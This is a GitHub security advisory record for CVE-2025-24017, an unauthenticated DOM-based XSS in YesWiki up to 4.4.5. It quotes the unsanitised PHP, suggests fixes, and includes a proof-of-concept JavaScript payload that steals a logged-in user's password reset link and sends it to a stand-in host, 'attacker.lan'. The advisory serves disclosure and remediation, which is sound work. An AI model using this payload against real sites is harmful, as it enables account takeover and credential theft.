{"id":"GHSA-wphc-5f2j-jhvg","summary":"Unauthenticated DOM Based XSS in YesWiki","details":"# Unauthenticated DOM Based XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= '\u003cdiv class=\"alert alert-info\"\u003e' . \"\\n\";\nif ($nb_total \u003e 1) {\n    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' =\u003e $nb_total]);\n} elseif ($nb_total == 1) {\n    $output .= _t('TAGS_ONE_PAGE_FOUND');\n} else {\n    $output .= _t('TAGS_NO_PAGE');\n}\n$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {\n    return '\u003cspan class=\"tag-label label label-info\"\u003e' . $tagName . '\u003c/span\u003e';\n}, $tab_selected_tags)) : '') . '.';\n$output .= $this-\u003eFormat('{{rss tags=\"' . $tags . '\" class=\"pull-right\"}}') . \"\\n\";\n$output .= '\u003c/div\u003e' . \"\\n\" . $text;\n\necho $this-\u003eHeader();\necho \"\u003cdiv class=\\\"page\\\"\u003e\\n$output\\n$outputselecttag\\n\u003chr class=\\\"hr_clear\\\" /\u003e\\n\u003c/div\u003e\\n\";\necho $this-\u003eFooter();\n```\n\nThe tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n![poc1](https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n  .then(response =\u003e {\n    return response.text();\n  })\n  .then(htmlString =\u003e {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, 'text/html');\n    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n![poc2](https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d)\n![poc3](https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd)\n![poc4](https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174)\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n        foreach ($tags as $tag) {\n            trim($tag);\n            if ($tag != '') {\n                if (!$this-\u003etripleStore-\u003eexist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {\n                    $this-\u003etripleStore-\u003ecreate($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');\n                }\n                //on supprime ce tag du tableau des tags restants a effacer\n                if (isset($tags_restants_a_effacer)) {\n                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n                }\n            }\n        }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';\n$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","aliases":["CVE-2025-24017"],"modified":"2025-01-21T20:42:05.340061Z","published":"2025-01-21T20:08:37Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-01-21T20:08:37Z","nvd_published_at":"2025-01-21T16:15:15Z"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24017"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.0"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.4.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-wphc-5f2j-jhvg/GHSA-wphc-5f2j-jhvg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L"}]}